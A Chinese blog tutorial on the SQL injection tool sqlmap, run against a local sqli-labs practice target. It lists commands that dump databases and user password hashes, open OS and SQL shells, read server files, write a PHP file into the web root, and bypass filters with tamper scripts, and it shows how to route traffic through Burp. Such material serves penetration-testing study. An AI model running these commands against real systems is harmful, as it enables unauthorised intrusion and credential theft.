SQLmap详解

原创不易,转载请加原文链接:https://www.cnblogs.com/Yang34/p/12430183.html


文章内容:安装-->使用-->结合burp
官网http://sqlmap.org/
官方推特https://twitter.com/sqlmap
指导手册https://github.com/sqlmapproject/sqlmap/wiki/Usage

主要功能:
1、判断可注入的参数
2、判断可以用哪种SQL注入技术来注入
3、识别出目标哪种数据库
4、根据用户选择,读取哪些数据

五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

关于安装:
Windows:
https://github.com/sqlmapproject/sqlmap

Linux:
apt-get install -y sqlmap

sqlmap –h 获取帮助信息
sqlmap –hh 获取更详细的帮助信息

GET类型
sqlmap -u “http://192.168.3.131/sqlilabs/Less-1/?id=1” 基本注入检测

获取到存在注入的参数

获取banner信息
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" -banner
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" -b

获取数据库信息
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --dbs
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --current-db

获取表信息
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" –D security --tables

获取列信息
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" -D security -T users --columns

获取字段信息
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" -D security -T users -C “username,password” --dump

获取指定数量信息
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" -D security -T users -C "username,password"  --dump  --start 1 --stop 2

获取数据库用户
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --users
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --current-user

 

获取数据库用户密码
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --passwords
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --passwords -U root

获取数据库所有数据
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --dump-all

多URL检测
sqlmap -m 2.txt

POST类型
sqlmap –r 1.txt基本注入检测

查看用户权限
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --privileges
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --privileges -U root

判断是否为管理员
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --is-dba

写入shell
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --os-shell
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1"  --os-cmd=whoami
--os-pwn
获取一个 OOB shell,meterpreter或VNC
--os-smbrelay  
获取一个OOB shell,meterpreter或VNC
--os-bof  存储过程缓冲区溢出利用 
--priv-esc  数据库进程用户 权限提升

写入sqlshell
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --sql-shell

执行sql语句
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --sql-query "select * from mysql.user"

sqlmap -u “http://192.168.3.131/sqlilabs/Less-1/?id=1” --current-db --dbms mysql 指定数据库类型

sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1"  --batch 使用默认配置

sqlmap -u “http://192.168.3.131/sqlilabs/Less-1/?id=1” --threads 10 --file-read “C:phpStudyPHPTutorialMySQLmy.ini”  文件读取

sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --threads 10 --file-write "/root/2020.txt"  --file-dest "C:phpStudyPHPTutorialWWW2020.php”  文件写入

sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --current-db -v 3 显示使用payload
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --current-db -v 4 显示HTTP请求
sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --current-db -v 5 显示HTTP响应头
sqlmap -u “http://192.168.3.131/sqlilabs/Less-1/?id=1” --current-db -v 6 显示HTTP响应页面

--level=1 默认
--level=2 测试cookie字段
--level=3 测试user-agent与refere字段
--level=5 测试host字段
--skip=“user-angent“ 跳过字段的测试

--risk=1 默认
--risk=2 基于事件的测试
--risk=3 or语句的测试
--risk=4 update的测试

--data 把数据以post方式提交
--time-sec=XX 设定延时时间默认是5
--timeout=XX 设定超时时间默认是30
--threads=XX 设定线程默认是1

--tamper=XXX

关于tamper
sqlmap -u “http://192.168.3.131/sqlilabs/Less-1/?id=1”  --tamper=space2comment.py -v3 –current-db space2comment.py 用/**/代替空格 versionedmorekeywords.py 用/*!*/绕过  randomcase.py 随机大小写  charencode.py URL编码

结合burp

burp代理

sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --proxy="http://192.168.3.1:8090"   --current-db

sqlmap -u "http://192.168.3.131/sqlilabs/Less-1/?id=1" --proxy="http://192.168.3.1:8090"   --current-db --current-db --random-agent --threads 10

sqlmap -u “http://192.168.3.131/sqlilabs/Less-1/?id=1” --proxy=“http://192.168.3.1:8090”   --current-db --current-db --user-agent=“Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0” --threads 10      #手动cookie、refer同理可得

推荐阅读:

https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247490322&idx=1&sn=e5606e1b1fc44ac52720209db392bdd5&chksm=ec1e2b3adb69a22c78060652f78e75f0c1437029f1f89e5db32609b2b5a9b3af04ab70612d2f&mpshare=1&scene=1&srcid=&sharer_sharetime=1564976421115&sharer_shareid=a7f7efd20a5f9884b11751b4adb89412&key=2f2b7d6edefdc92ef09da401c2ff09f1c7a9e8390f9714f50255fdd82620a25e5381d75707ada1a5f8c34797388ec58bad28d45210b385c9bdc3464b24266e5afb5fc764b30f1c2f7466397c16604907&ascene=1&uin=MjA1NjI4NDE4MQ==&devicetype=Windows%207&version=62060833&lang=zh_CN&pass_ticket=s7k8qKZ%2boHHTxH7ZbCXCmgDae9v76OnKe5vRzZkwUdqA%2bZ/CyZ3CvKM3qNTrPX8P

https://www.anquanke.com/subject/id/160641

原文地址:https://www.cnblogs.com/Yang34/p/12430183.html